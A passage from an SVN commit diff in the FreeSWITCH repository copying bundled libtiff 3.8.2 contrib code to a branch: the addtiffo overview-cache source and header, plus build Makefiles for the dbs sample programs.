+                                         nBitsPerPixel, nPlanarConfig,
+                                         nSamples, nOBlockXSize, nOBlockYSize,
+                                         bTiled, nCompressFlag, nPhotometric,
+                                         nSampleFormat,
+                                         panRedMap, panGreenMap, panBlueMap,
+                                         bUseSubIFDs,
+                                         nHorSubsampling, nVerSubsampling );
+        
+        papoRawBIs[i] = TIFFCreateOvrCache( hTIFF, nDirOffset );
+    }
+
+    if( panRedMap != NULL )
+    {
+        _TIFFfree( panRedMap );
+        _TIFFfree( panGreenMap );
+        _TIFFfree( panBlueMap );
+    }
+    
+/* -------------------------------------------------------------------- */
+/*      Allocate a buffer to hold a source block.                       */
+/* -------------------------------------------------------------------- */
+    if( bTiled )
+        pabySrcTile = (unsigned char *) _TIFFmalloc(TIFFTileSize(hTIFF));
+    else
+        pabySrcTile = (unsigned char *) _TIFFmalloc(TIFFStripSize(hTIFF));
+    
+/* -------------------------------------------------------------------- */
+/*      Loop over the source raster, applying data to the               */
+/*      destination raster.                                             */
+/* -------------------------------------------------------------------- */
+    for( nSYOff = 0; nSYOff < (int) nYSize; nSYOff += nBlockYSize )
+    {
+        for( nSXOff = 0; nSXOff < (int) nXSize; nSXOff += nBlockXSize )
+        {
+            /*
+             * Read and resample into the various overview images.
+             */
+            
+            TIFF_ProcessFullResBlock( hTIFF, nPlanarConfig,
+                                      bSubsampled,nHorSubsampling,nVerSubsampling,
+                                      nOverviews, panOvList,
+                                      nBitsPerPixel, nSamples, papoRawBIs,
+                                      nSXOff, nSYOff, pabySrcTile,
+                                      nBlockXSize, nBlockYSize,
+                                      nSampleFormat, pszResampleMethod );
+        }
+    }
+
+    _TIFFfree( pabySrcTile );
+
+/* -------------------------------------------------------------------- */
+/*      Cleanup the rawblockedimage files.                              */
+/* -------------------------------------------------------------------- */
+    for( i = 0; i < nOverviews; i++ )
+    {
+        TIFFDestroyOvrCache( papoRawBIs[i] );
+    }
+
+    if( papoRawBIs != NULL )
+        _TIFFfree( papoRawBIs );
+
+    TIFFSetWarningHandler( pfnWarning );
+}
+
+

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/addtiffo/tif_ovrcache.c

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/addtiffo/tif_ovrcache.c (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/addtiffo/tif_ovrcache.c) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/addtiffo/tif_ovrcache.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/addtiffo/tif_ovrcache.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,333 @@
+/******************************************************************************
+ * $Id: tif_ovrcache.c,v 1.6 2005/12/21 12:23:13 joris Exp $
+ *
+ * Project:  TIFF Overview Builder
+ * Purpose:  Library functions to maintain two rows of tiles or two strips
+ *           of data for output overviews as an output cache. 
+ * Author:   Frank Warmerdam, warmerdam@pobox.com
+ *
+ ******************************************************************************
+ * Copyright (c) 2000, Frank Warmerdam
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a
+ * copy of this software and associated documentation files (the "Software"),
+ * to deal in the Software without restriction, including without limitation
+ * the rights to use, copy, modify, merge, publish, distribute, sublicense,
+ * and/or sell copies of the Software, and to permit persons to whom the
+ * Software is furnished to do so, subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice shall be included
+ * in all copies or substantial portions of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
+ * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
+ * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+ * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
+ * DEALINGS IN THE SOFTWARE.
+ ******************************************************************************
+ */
+
+#include "tiffiop.h"
+#include "tif_ovrcache.h"
+#include <assert.h>
+
+/************************************************************************/
+/*                         TIFFCreateOvrCache()                         */
+/*                                                                      */
+/*      Create an overview cache to hold two rows of blocks from an     */
+/*      existing TIFF directory.                                        */
+/************************************************************************/
+
+TIFFOvrCache *TIFFCreateOvrCache( TIFF *hTIFF, int nDirOffset )
+
+{
+    TIFFOvrCache	*psCache;
+    uint32		nBaseDirOffset;
+
+    psCache = (TIFFOvrCache *) _TIFFmalloc(sizeof(TIFFOvrCache));
+    psCache->nDirOffset = nDirOffset;
+    psCache->hTIFF = hTIFF;
+    
+/* -------------------------------------------------------------------- */
+/*      Get definition of this raster from the TIFF file itself.        */
+/* -------------------------------------------------------------------- */
+    nBaseDirOffset = TIFFCurrentDirOffset( psCache->hTIFF );
+    TIFFSetSubDirectory( hTIFF, nDirOffset );
+    
+    TIFFGetField( hTIFF, TIFFTAG_IMAGEWIDTH, &(psCache->nXSize) );
+    TIFFGetField( hTIFF, TIFFTAG_IMAGELENGTH, &(psCache->nYSize) );
+
+    TIFFGetField( hTIFF, TIFFTAG_BITSPERSAMPLE, &(psCache->nBitsPerPixel) );
+    TIFFGetField( hTIFF, TIFFTAG_SAMPLESPERPIXEL, &(psCache->nSamples) );
+    TIFFGetField( hTIFF, TIFFTAG_PLANARCONFIG, &(psCache->nPlanarConfig) );
+
+    if( !TIFFIsTiled( hTIFF ) )
+    {
+        TIFFGetField( hTIFF, TIFFTAG_ROWSPERSTRIP, &(psCache->nBlockYSize) );
+        psCache->nBlockXSize = psCache->nXSize;
+        psCache->nBytesPerBlock = TIFFStripSize(hTIFF);
+        psCache->bTiled = FALSE;
+    }
+    else
+    {
+        TIFFGetField( hTIFF, TIFFTAG_TILEWIDTH, &(psCache->nBlockXSize) );
+        TIFFGetField( hTIFF, TIFFTAG_TILELENGTH, &(psCache->nBlockYSize) );
+        psCache->nBytesPerBlock = TIFFTileSize(hTIFF);
+        psCache->bTiled = TRUE;
+    }
+
+/* -------------------------------------------------------------------- */
+/*      Compute some values from this.                                  */
+/* -------------------------------------------------------------------- */
+
+    psCache->nBlocksPerRow = (psCache->nXSize + psCache->nBlockXSize - 1)
+        		/ psCache->nBlockXSize;
+    psCache->nBlocksPerColumn = (psCache->nYSize + psCache->nBlockYSize - 1)
+        		/ psCache->nBlockYSize;
+
+    if (psCache->nPlanarConfig == PLANARCONFIG_SEPARATE)
+        psCache->nBytesPerRow = psCache->nBytesPerBlock
+            * psCache->nBlocksPerRow * psCache->nSamples;
+    else
+        psCache->nBytesPerRow =
+            psCache->nBytesPerBlock * psCache->nBlocksPerRow;
+
+
+/* -------------------------------------------------------------------- */
+/*      Allocate and initialize the data buffers.                       */
+/* -------------------------------------------------------------------- */
+
+    psCache->pabyRow1Blocks =
+        (unsigned char *) _TIFFmalloc(psCache->nBytesPerRow);
+    psCache->pabyRow2Blocks =
+        (unsigned char *) _TIFFmalloc(psCache->nBytesPerRow);
+
+    if( psCache->pabyRow1Blocks == NULL
+        || psCache->pabyRow2Blocks == NULL )
+    {
+		TIFFErrorExt( hTIFF->tif_clientdata, hTIFF->tif_name,
+					  "Can't allocate memory for overview cache." );
+        /* TODO: use of TIFFError is inconsistent with use of fprintf in addtiffo.c, sort out */
+        return NULL;
+    }
+
+    _TIFFmemset( psCache->pabyRow1Blocks, 0, psCache->nBytesPerRow );
+    _TIFFmemset( psCache->pabyRow2Blocks, 0, psCache->nBytesPerRow );
+
+    psCache->nBlockOffset = 0;
+
+    TIFFSetSubDirectory( psCache->hTIFF, nBaseDirOffset );
+    
+    return psCache;
+}
+
+/************************************************************************/
+/*                          TIFFWriteOvrRow()                           */
+/*                                                                      */
+/*      Write one entire row of blocks (row 1) to the tiff file, and    */
+/*      then rotate the block buffers, essentially moving things        */
+/*      down by one block.                                              */
+/************************************************************************/
+
+static void TIFFWriteOvrRow( TIFFOvrCache * psCache )
+
+{
+    int		nRet, iTileX, iTileY = psCache->nBlockOffset;
+    unsigned char *pabyData;
+    uint32	nBaseDirOffset;
+    
+/* -------------------------------------------------------------------- */
+/*      If the output cache is multi-byte per sample, and the file      */
+/*      being written to is of a different byte order than the current  */
+/*      platform, we will need to byte swap the data.                   */
+/* -------------------------------------------------------------------- */
+    if( TIFFIsByteSwapped(psCache->hTIFF) )
+    {
+        if( psCache->nBitsPerPixel == 16 )
+            TIFFSwabArrayOfShort( (uint16 *) psCache->pabyRow1Blocks,
+                      (psCache->nBytesPerBlock * psCache->nSamples) / 2 );
+
+        else if( psCache->nBitsPerPixel == 32 )
+            TIFFSwabArrayOfLong( (uint32 *) psCache->pabyRow1Blocks,
+                         (psCache->nBytesPerBlock * psCache->nSamples) / 4 );
+
+        else if( psCache->nBitsPerPixel == 64 )
+            TIFFSwabArrayOfDouble( (double *) psCache->pabyRow1Blocks,
+                         (psCache->nBytesPerBlock * psCache->nSamples) / 8 );
+    }
+
+/* -------------------------------------------------------------------- */
+/*      Record original directory position, so we can restore it at     */
+/*      end.                                                            */
+/* -------------------------------------------------------------------- */
+    nBaseDirOffset = TIFFCurrentDirOffset( psCache->hTIFF );
+    nRet = TIFFSetSubDirectory( psCache->hTIFF, psCache->nDirOffset );
+    assert( nRet == 1 );
+
+/* -------------------------------------------------------------------- */
+/*      Write blocks to TIFF file.                                      */
+/* -------------------------------------------------------------------- */
+    for( iTileX = 0; iTileX < psCache->nBlocksPerRow; iTileX++ )
+    {
+        int nTileID;
+
+        if (psCache->nPlanarConfig == PLANARCONFIG_SEPARATE)
+        {
+            int iSample;
+
+            for( iSample = 0; iSample < psCache->nSamples; iSample++ )
+            {
+                pabyData = TIFFGetOvrBlock( psCache, iTileX, iTileY, iSample );
+
+                if( psCache->bTiled )
+                {
+                    nTileID =
+                        TIFFComputeTile( psCache->hTIFF,
+                                         iTileX * psCache->nBlockXSize,
+                                         iTileY * psCache->nBlockYSize,
+                                         0, (tsample_t) iSample );
+                    TIFFWriteEncodedTile( psCache->hTIFF, nTileID, 
+                                          pabyData,
+                                          TIFFTileSize(psCache->hTIFF) );
+                }
+                else
+                {
+                    nTileID =
+                        TIFFComputeStrip( psCache->hTIFF,
+                                          iTileY * psCache->nBlockYSize,
+                                          (tsample_t) iSample );
+
+                    TIFFWriteEncodedStrip( psCache->hTIFF, nTileID,
+                                           pabyData,
+                                           TIFFStripSize(psCache->hTIFF) );
+                }
+            }
+
+        }
+        else
+        {
+            pabyData = TIFFGetOvrBlock( psCache, iTileX, iTileY, 0 );
+
+            if( psCache->bTiled )
+            {
+                nTileID =
+                    TIFFComputeTile( psCache->hTIFF,
+                                     iTileX * psCache->nBlockXSize,
+                                     iTileY * psCache->nBlockYSize,
+                                     0, 0 );
+                TIFFWriteEncodedTile( psCache->hTIFF, nTileID, 
+                                      pabyData,
+                                      TIFFTileSize(psCache->hTIFF) );
+            }
+            else
+            {
+                nTileID =
+                    TIFFComputeStrip( psCache->hTIFF,
+                                      iTileY * psCache->nBlockYSize,
+                                      0 );
+
+                TIFFWriteEncodedStrip( psCache->hTIFF, nTileID,
+                                       pabyData,
+                                       TIFFStripSize(psCache->hTIFF) );
+            }
+        }
+    }
+    /* TODO: add checks on error status return of TIFFWriteEncodedTile and TIFFWriteEncodedStrip */
+
+/* -------------------------------------------------------------------- */
+/*      Rotate buffers.                                                 */
+/* -------------------------------------------------------------------- */
+    pabyData = psCache->pabyRow1Blocks;
+    psCache->pabyRow1Blocks = psCache->pabyRow2Blocks;
+    psCache->pabyRow2Blocks = pabyData;
+
+    _TIFFmemset( pabyData, 0, psCache->nBytesPerRow );
+
+    psCache->nBlockOffset++;
+
+/* -------------------------------------------------------------------- */
+/*      Restore access to original directory.                           */
+/* -------------------------------------------------------------------- */
+    TIFFFlush( psCache->hTIFF );
+    /* TODO: add checks on error status return of TIFFFlush */
+    TIFFSetSubDirectory( psCache->hTIFF, nBaseDirOffset );
+    /* TODO: add checks on error status return of TIFFSetSubDirectory */
+}
+
+/************************************************************************/
+/*                          TIFFGetOvrBlock()                           */
+/************************************************************************/
+
+/* TODO: make TIFF_Downsample handle iSample offset, so that we can
+ * do with a single TIFFGetOvrBlock and no longer need TIFFGetOvrBlock_Subsampled */
+unsigned char *TIFFGetOvrBlock( TIFFOvrCache *psCache, int iTileX, int iTileY,
+                                int iSample )
+
+{
+    int		nRowOffset;
+
+    if( iTileY > psCache->nBlockOffset + 1 )
+        TIFFWriteOvrRow( psCache );
+
+    assert( iTileX >= 0 && iTileX < psCache->nBlocksPerRow );
+    assert( iTileY >= 0 && iTileY < psCache->nBlocksPerColumn );
+    assert( iTileY >= psCache->nBlockOffset
+            && iTileY < psCache->nBlockOffset+2 );
+    assert( iSample >= 0 && iSample < psCache->nSamples );
+
+    if (psCache->nPlanarConfig == PLANARCONFIG_SEPARATE)
+        nRowOffset = ((iTileX * psCache->nSamples) + iSample)
+            * psCache->nBytesPerBlock;
+    else
+        nRowOffset = iTileX * psCache->nBytesPerBlock +
+            (psCache->nBitsPerPixel + 7) / 8 * iSample;
+
+    if( iTileY == psCache->nBlockOffset )
+        return psCache->pabyRow1Blocks + nRowOffset;
+    else
+        return psCache->pabyRow2Blocks + nRowOffset;
+}
+
+/************************************************************************/
+/*                     TIFFGetOvrBlock_Subsampled()                     */
+/************************************************************************/
+
+unsigned char *TIFFGetOvrBlock_Subsampled( TIFFOvrCache *psCache, 
+                                           int iTileX, int iTileY )
+
+{
+    int		nRowOffset;
+
+    if( iTileY > psCache->nBlockOffset + 1 )
+        TIFFWriteOvrRow( psCache );
+
+    assert( iTileX >= 0 && iTileX < psCache->nBlocksPerRow );
+    assert( iTileY >= 0 && iTileY < psCache->nBlocksPerColumn );
+    assert( iTileY >= psCache->nBlockOffset
+            && iTileY < psCache->nBlockOffset+2 );
+    assert( psCache->nPlanarConfig != PLANARCONFIG_SEPARATE );
+
+    nRowOffset = iTileX * psCache->nBytesPerBlock;
+
+    if( iTileY == psCache->nBlockOffset )
+        return psCache->pabyRow1Blocks + nRowOffset;
+    else
+        return psCache->pabyRow2Blocks + nRowOffset;
+}
+
+/************************************************************************/
+/*                        TIFFDestroyOvrCache()                         */
+/************************************************************************/
+
+void TIFFDestroyOvrCache( TIFFOvrCache * psCache )
+
+{
+    while( psCache->nBlockOffset < psCache->nBlocksPerColumn )
+        TIFFWriteOvrRow( psCache );
+
+    _TIFFfree( psCache->pabyRow1Blocks );
+    _TIFFfree( psCache->pabyRow2Blocks );
+    _TIFFfree( psCache );
+}

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/addtiffo/tif_ovrcache.h

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/addtiffo/tif_ovrcache.h (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/addtiffo/tif_ovrcache.h) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/addtiffo/tif_ovrcache.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/addtiffo/tif_ovrcache.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,101 @@
+/******************************************************************************
+ * tif_ovrcache.h,v 1.3 2005/05/25 09:03:16 dron Exp
+ *
+ * Project:  TIFF Overview Builder
+ * Purpose:  Library functions to maintain two rows of tiles or two strips
+ *           of data for output overviews as an output cache. 
+ * Author:   Frank Warmerdam, warmerdam@pobox.com
+ *
+ * This code could potentially be used by other applications wanting to
+ * manage a once-through write cache. 
+ *
+ ******************************************************************************
+ * Copyright (c) 2000, Frank Warmerdam
+ *
+ * Permission is hereby granted, free of charge, to any person obtaining a
+ * copy of this software and associated documentation files (the "Software"),
+ * to deal in the Software without restriction, including without limitation
+ * the rights to use, copy, modify, merge, publish, distribute, sublicense,
+ * and/or sell copies of the Software, and to permit persons to whom the
+ * Software is furnished to do so, subject to the following conditions:
+ *
+ * The above copyright notice and this permission notice shall be included
+ * in all copies or substantial portions of the Software.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
+ * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
+ * THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+ * FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
+ * DEALINGS IN THE SOFTWARE.
+ ******************************************************************************
+ */
+
+#ifndef TIF_OVRCACHE_H_INCLUDED
+#define TIF_OVRCACHE_H_INCLUDED
+
+#include "tiffio.h"
+
+#if defined(__cplusplus)
+extern "C" {
+#endif
+    
+typedef struct 
+{
+    uint32	nXSize;
+    uint32	nYSize;
+
+    uint16	nBitsPerPixel;
+    uint16	nSamples;
+    uint16      nPlanarConfig;
+    uint32	nBlockXSize;
+    uint32	nBlockYSize;
+    uint32	nBytesPerBlock;
+    uint32      nBytesPerRow;
+
+    int		nBlocksPerRow;
+    int		nBlocksPerColumn;
+
+    int	        nBlockOffset; /* what block is the first in papabyBlocks? */
+    unsigned char *pabyRow1Blocks;
+    unsigned char *pabyRow2Blocks;
+
+    int		nDirOffset;
+    TIFF	*hTIFF;
+    int		bTiled;
+    
+} TIFFOvrCache;
+
+TIFFOvrCache *TIFFCreateOvrCache( TIFF *hTIFF, int nDirOffset );
+unsigned char *TIFFGetOvrBlock( TIFFOvrCache *psCache, int iTileX, int iTileY,
+                                int iSample );
+unsigned char *TIFFGetOvrBlock_Subsampled( TIFFOvrCache *psCache, int iTileX, int iTileY );
+void           TIFFDestroyOvrCache( TIFFOvrCache * );
+
+void TIFFBuildOverviews( TIFF *, int, int *, int, const char *,
+                         int (*)(double,void*), void * );
+
+void TIFF_ProcessFullResBlock( TIFF *hTIFF, int nPlanarConfig,
+                               int bSubsampled, int nHorSamples, int nVerSamples,
+                               int nOverviews, int * panOvList,
+                               int nBitsPerPixel, 
+                               int nSamples, TIFFOvrCache ** papoRawBIs,
+                               int nSXOff, int nSYOff,
+                               unsigned char *pabySrcTile,
+                               int nBlockXSize, int nBlockYSize,
+                               int nSampleFormat, const char * pszResampling );
+
+uint32 TIFF_WriteOverview( TIFF *, int, int, int, int, int, int, int,
+                           int, int, int, int, unsigned short *,
+                           unsigned short *, unsigned short *, int,
+                           int, int);
+
+
+
+#if defined(__cplusplus)
+}
+#endif
+    
+#endif /* ndef TIF_OVRCACHE_H_INCLUDED */
+

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/dbs (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/dbs)

Property changes: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/dbs


Name: svn:ignore
   + .deps
Makefile

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/dbs/Makefile.am

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/dbs/Makefile.am (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/dbs/Makefile.am) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/dbs/Makefile.am	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/dbs/Makefile.am	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,44 @@
+# Tag Image File Format (TIFF) Software
+#
+# Copyright (C) 2004, Andrey Kiselev <dron@ak4719.spb.edu>
+#
+# Permission to use, copy, modify, distribute, and sell this software and 
+# its documentation for any purpose is hereby granted without fee, provided
+# that (i) the above copyright notices and this permission notice appear in
+# all copies of the software and related documentation, and (ii) the names of
+# Sam Leffler and Silicon Graphics may not be used in any advertising or
+# publicity relating to the software without the specific, prior written
+# permission of Sam Leffler and Silicon Graphics.
+# 
+# THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+# EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+# WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+# 
+# IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+# ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+# OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+# WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+# LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+# OF THIS SOFTWARE.
+
+# Process this file with automake to produce Makefile.in.
+
+SUBDIRS = xtiff
+
+LIBTIFF = $(top_builddir)/libtiff/libtiff.la
+
+EXTRA_DIST = README
+
+noinst_PROGRAMS = tiff-bi tiff-grayscale tiff-palette tiff-rgb
+
+tiff_bi_SOURCES = tiff-bi.c
+tiff_bi_LDADD = $(LIBTIFF)
+tiff_grayscale_SOURCES = tiff-grayscale.c
+tiff_grayscale_LDADD = $(LIBTIFF)
+tiff_palette_SOURCES = tiff-palette.c
+tiff_palette_LDADD = $(LIBTIFF)
+tiff_rgb_SOURCES = tiff-rgb.c
+tiff_rgb_LDADD = $(LIBTIFF)
+
+INCLUDES = -I$(top_srcdir)/libtiff
+

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/dbs/Makefile.in

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/contrib/dbs/Makefile.in (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/contrib/dbs/Makefile.in) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/contrib/dbs/Makefile.in	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/contrib/dbs/Makefile.in	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,640 @@
+# Makefile.in generated by automake 1.9.6 from Makefile.am.
+# @configure_input@
+
+# Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002,
+# 2003, 2004, 2005  Free Software Foundation, Inc.
+# This Makefile.in is free software; the Free Software Foundation
+# gives unlimited permission to copy and/or distribute it,
+# with or without modifications, as long as this notice is preserved.
+
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY, to the extent permitted by law; without
+# even the implied warranty of MERCHANTABILITY or FITNESS FOR A
+# PARTICULAR PURPOSE.
+
+@SET_MAKE@
+
+# Tag Image File Format (TIFF) Software
+#
+# Copyright (C) 2004, Andrey Kiselev <dron@ak4719.spb.edu>
+#
+# Permission to use, copy, modify, distribute, and sell this software and 
+# its documentation for any purpose is hereby granted without fee, provided
+# that (i) the above copyright notices and this permission notice appear in
+# all copies of the software and related documentation, and (ii) the names of
+# Sam Leffler and Silicon Graphics may not be used in any advertising or
+# publicity relating to the software without the specific, prior written
+# permission of Sam Leffler and Silicon Graphics.
+# 
+# THE SOFTWARE IS PROVIDED "AS-IS" AND WITHOUT WARRANTY OF ANY KIND, 
+# EXPRESS, IMPLIED OR OTHERWISE, INCLUDING WITHOUT LIMITATION, ANY 
+# WARRANTY OF MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE.  
+# 
+# IN NO EVENT SHALL SAM LEFFLER OR SILICON GRAPHICS BE LIABLE FOR
+# ANY SPECIAL, INCIDENTAL, INDIRECT OR CONSEQUENTIAL DAMAGES OF ANY KIND,
+# OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS,
+# WHETHER OR NOT ADVISED OF THE POSSIBILITY OF DAMAGE, AND ON ANY THEORY OF 
+# LIABILITY, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE 
+# OF THIS SOFTWARE.
+
+# Process this file with automake to produce Makefile.in.
+
+srcdir = @srcdir@
+top_srcdir = @top_srcdir@
+VPATH = @srcdir@
+pkgdatadir = $(datadir)/@PACKAGE@
+pkglibdir = $(libdir)/@PACKAGE@
+pkgincludedir = $(includedir)/@PACKAGE@
+top_builddir = ../..
+am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd
+INSTALL = @INSTALL@
+install_sh_DATA = $(install_sh) -c -m 644
+install_sh_PROGRAM = $(install_sh) -c
+install_sh_SCRIPT = $(install_sh) -c
+INSTALL_HEADER = $(INSTALL_DATA)
+transform = $(program_transform_name)
+NORMAL_INSTALL = :
+PRE_INSTALL = :
+POST_INSTALL = :
+NORMAL_UNINSTALL = :
+PRE_UNINSTALL = :
+POST_UNINSTALL = :
+build_triplet = @build@
+host_triplet = @host@
+target_triplet = @target@
+noinst_PROGRAMS = tiff-bi$(EXEEXT) tiff-grayscale$(EXEEXT) \
+	tiff-palette$(EXEEXT) tiff-rgb$(EXEEXT)
+subdir = contrib/dbs
+DIST_COMMON = README $(srcdir)/Makefile.am $(srcdir)/Makefile.in
+ACLOCAL_M4 = $(top_srcdir)/aclocal.m4
+am__aclocal_m4_deps = $(top_srcdir)/m4/acinclude.m4 \
+	$(top_srcdir)/m4/libtool.m4 $(top_srcdir)/m4/ltoptions.m4 \
+	$(top_srcdir)/m4/ltsugar.m4 $(top_srcdir)/m4/ltversion.m4 \
+	$(top_srcdir)/configure.ac
+am__configure_deps = $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES) \
+	$(ACLOCAL_M4)
+mkinstalldirs = $(SHELL) $(top_srcdir)/config/mkinstalldirs
+CONFIG_HEADER = $(top_builddir)/libtiff/tif_config.h \
+	$(top_builddir)/libtiff/tiffconf.h
+CONFIG_CLEAN_FILES =
+PROGRAMS = $(noinst_PROGRAMS)
+am_tiff_bi_OBJECTS = tiff-bi.$(OBJEXT)
+tiff_bi_OBJECTS = $(am_tiff_bi_OBJECTS)
+am__DEPENDENCIES_1 = $(top_builddir)/libtiff/libtiff.la
+tiff_bi_DEPENDENCIES = $(am__DEPENDENCIES_1)
+am_tiff_grayscale_OBJECTS = tiff-grayscale.$(OBJEXT)
+tiff_grayscale_OBJECTS = $(am_tiff_grayscale_OBJECTS)
+tiff_grayscale_DEPENDENCIES = $(am__DEPENDENCIES_1)
+am_tiff_palette_OBJECTS = tiff-palette.$(OBJEXT)
+tiff_palette_OBJECTS = $(am_tiff_palette_OBJECTS)
+tiff_palette_DEPENDENCIES = $(am__DEPENDENCIES_1)
+am_tiff_rgb_OBJECTS = tiff-rgb.$(OBJEXT)
+tiff_rgb_OBJECTS = $(am_tiff_rgb_OBJECTS)
+tiff_rgb_DEPENDENCIES = $(am__DEPENDENCIES_1)
+DEFAULT_INCLUDES = -I. -I$(srcdir) -I$(top_builddir)/libtiff -I$(top_builddir)/libtiff
+depcomp = $(SHELL) $(top_srcdir)/config/depcomp
+am__depfiles_maybe = depfiles
+COMPILE = $(CC) $(DEFS) $(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) \
+	$(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS)
+LTCOMPILE = $(LIBTOOL) --tag=CC --mode=compile $(CC) $(DEFS) \
+	$(DEFAULT_INCLUDES) $(INCLUDES) $(AM_CPPFLAGS) $(CPPFLAGS) \
+	$(AM_CFLAGS) $(CFLAGS)
+CCLD = $(CC)
+LINK = $(LIBTOOL) --tag=CC --mode=link $(CCLD) $(AM_CFLAGS) $(CFLAGS) \
+	$(AM_LDFLAGS) $(LDFLAGS) -o $@
+SOURCES = $(tiff_bi_SOURCES) $(tiff_grayscale_SOURCES) \
+	$(tiff_palette_SOURCES) $(tiff_rgb_SOURCES)
+DIST_SOURCES = $(tiff_bi_SOURCES) $(tiff_grayscale_SOURCES) \
+	$(tiff_palette_SOURCES) $(tiff_rgb_SOURCES)
+RECURSIVE_TARGETS = all-recursive check-recursive dvi-recursive \
+	html-recursive info-recursive install-data-recursive \
+	install-exec-recursive install-info-recursive \
+	install-recursive installcheck-recursive installdirs-recursive \
+	pdf-recursive ps-recursive uninstall-info-recursive \
+	uninstall-recursive
+ETAGS = etags
+CTAGS = ctags
+DIST_SUBDIRS = $(SUBDIRS)
+DISTFILES = $(DIST_COMMON) $(DIST_SOURCES) $(TEXINFOS) $(EXTRA_DIST)
+ACLOCAL = @ACLOCAL@
+AMDEP_FALSE = @AMDEP_FALSE@
+AMDEP_TRUE = @AMDEP_TRUE@
+AMTAR = @AMTAR@
+AR = @AR@
+AS = @AS@
+AUTOCONF = @AUTOCONF@
+AUTOHEADER = @AUTOHEADER@
+AUTOMAKE = @AUTOMAKE@
+AWK = @AWK@
+CC = @CC@
+CCDEPMODE = @CCDEPMODE@
+CFLAGS = @CFLAGS@
+CPP = @CPP@
+CPPFLAGS = @CPPFLAGS@
+CXX = @CXX@
+CXXCPP = @CXXCPP@
+CXXDEPMODE = @CXXDEPMODE@
+CXXFLAGS = @CXXFLAGS@
+CYGPATH_W = @CYGPATH_W@
+DEFS = @DEFS@
+DEPDIR = @DEPDIR@
+DLLTOOL = @DLLTOOL@
+DUMPBIN = @DUMPBIN@
+ECHO_C = @ECHO_C@
+ECHO_N = @ECHO_N@
+ECHO_T = @ECHO_T@
+EGREP = @EGREP@
+EXEEXT = @EXEEXT@
+FGREP = @FGREP@
+GLUT_CFLAGS = @GLUT_CFLAGS@
+GLUT_LIBS = @GLUT_LIBS@
+GLU_CFLAGS = @GLU_CFLAGS@
+GLU_LIBS = @GLU_LIBS@
+GL_CFLAGS = @GL_CFLAGS@
+GL_LIBS = @GL_LIBS@
